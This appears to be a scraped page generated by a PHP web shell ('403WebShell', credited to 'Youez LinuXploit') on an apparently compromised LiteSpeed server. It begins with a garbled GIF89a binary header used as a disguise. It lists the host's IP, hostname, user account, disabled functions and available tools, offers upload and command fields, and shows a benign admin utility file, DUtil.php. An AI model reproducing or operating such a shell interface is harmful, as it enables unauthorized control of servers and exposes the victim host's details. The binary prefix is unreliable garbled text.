GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 13.58.32.115
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/local/lsws/admin/html.5.4.6/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/lsws/admin/html.5.4.6/classes/DUtil.php
<?php

class DUtil
{

	public static function object_sort(&$array_data, $column, $direction, $type) {
                // get a list of columns
                $columns = array();

                foreach ($array_data as $key => $row) {
                   $columns[$key]  = $row->$column;

                }

                array_multisort($columns, $direction, $type, $array_data);
	}

	public static function grab_input($origin = "",$name = "",$type = "") {
		$temp = null;

		$origin = strtoupper($origin);

		if($name == "" || $origin == "") {
			die("input error");
		}

		switch($origin) {
			case "REQUEST":
			case "ANY":
			$temp = $_REQUEST;
			break;
			case "GET":
			$temp = $_GET;
			break;
			case "POST":
			$temp = $_POST;
			break;
			case "COOKIE":
			$temp = $_COOKIE;
			break;
			case "FILE":
			$temp = $_FILES;
			break;
			case "SERVER":
			$temp = $_SERVER;
			break;
			default:
			die("input extract error.");
			break;
		}


		if(array_key_exists($name,$temp)) {
			$temp =  $temp[$name];
		}
		else {
			$temp = null;
		}

		switch($type) {
			case "int":
				return (int) $temp;
				break;
			case "float":
				return (float) $temp;
				break;
			case "string":
				return trim((string) $temp);
				break;
			case "array":
				return (is_array($temp) ?  $temp : null);
				break;
			case "object":
				return (is_object($temp) ?  $temp : null);
				break;
			default:
				return trim((string) $temp); //default string
				break;

		}

	}

	public static function genOptions($options, $selValue)
	{
		$o = '';
		if ( $options )
		{
			foreach ( $options as $key => $value )
			{
				$o .= '<option value="' . $key .'"';
				if ( $key == $selValue )
					$o .= ' selected';
				$o .= ">$value</option>\n";
			}
		}
		return $o;
	}

	public static function getGoodVal($val)
	{
		if ( $val != null && strpos($val, '<') !== false )
		{
			return null;
		}
		else
			return $val;
	}

	public static function getGoodVal1(&$val)
	{
		if ( $val != null && strpos($val, '<') !== false )
		{
			$val = null;
			return null;
		}
		else
			return $val;
	}

	public static function getLastId($id)
	{
		if ( $id == null )
			return null;

		$pos = strrpos($id, '`');
		if ( $pos === false )
			return $id;
		else
			return substr($id, $pos+1);
	}

	public static function trimLastId(&$id)
	{
		$pos = strrpos($id, '`');
		if ( $pos !== false )
			$id = substr($id, 0, $pos);
		else
			$id = null;
	}

	public static function switchLastId(&$curId, $newId)
	{
		$pos = strrpos($curId, '`');
		if ( $pos !== false )
			$curId = substr($curId, 0, $pos+1) . $newId;
		else
			$curId = $newId;
	}

	public static function &locateData0(&$holder, $dataloc, $ref=null)
	{
		$data = &$holder;

		if ( $dataloc != null )
		{
			$datalocs = explode(':', $dataloc);

			foreach ( $datalocs as $loc )
			{
				$data = &$data[$loc];
			}
			if ( $ref != null )
				$data = &$data[$ref];
		}
		return $data;
	}

	public static function &locateData(&$holder, $dataloc, $ref = null)
    {
        $data = &$holder;
        if ($ref != null) {
            $refs = explode('`', $ref);
        }

        if ($dataloc != null) {
            $datalocs = explode(':', $dataloc);
            foreach ($datalocs as $loc) {
                $r = strpos($loc, '!$');

                if ($r > 0) {
                    $a = substr($loc, $r + 2);
                    $loc = substr($loc, 0, $r);
                    $data = &$data[$loc][$refs[$a]];
                }
                else {
                    $data = &$data[$loc];
                }
            }
        }
        return $data;
    }

    public static function getSubTid($subTbls, $data)
	{
		$key = $subTbls[0];
		if ( !isset($data[$key]) )
			return $subTbls[1];

		$newkey = $data[$key]->GetVal();
		if ( ($newkey == '0') || !isset($subTbls[$newkey]) ) {
			return $subTbls[1];
		}
		else
			return $subTbls[$newkey];
	}

	public static function splitMultiple($val)
	{
		return preg_split("/, /", $val, -1, PREG_SPLIT_NO_EMPTY);
	}

	public static function array_string_keys($input)
	{
		$output = array();
		if ($input != null && is_array($input)) {
			foreach($input as $k => $v) {
				$output[] = (string)$k;
			}
		}
		return $output;

	}

	public static function getDataVal(&$holderArray, $key)
	{
		if ($holderArray == null
				|| ! is_array($holderArray)
				|| empty($holderArray[$key])
				|| ! is_a($holderArray[$key], 'CVal')) {
			return null;
		}
		else {
			return $holderArray[$key]->GetVal();
		}
	}

	public static function dbg_out($tag, &$obj, $visible=true)
	{
		if ($visible)
			echo "<pre> $tag \n" . print_r($obj, true) . "\n</pre>";
		else
			echo "<!-- $tag --\n" . print_r($obj, true) . "-->\n";
	}

	public static function dbg_tag($tag, $visible=true)
	{
		if ($visible)
			echo "<pre>$tag \n</pre>";
		else
			echo "<!-- $tag -->\n";
	}


}

Youez - 2016 - github.com/yon3zu
LinuXploit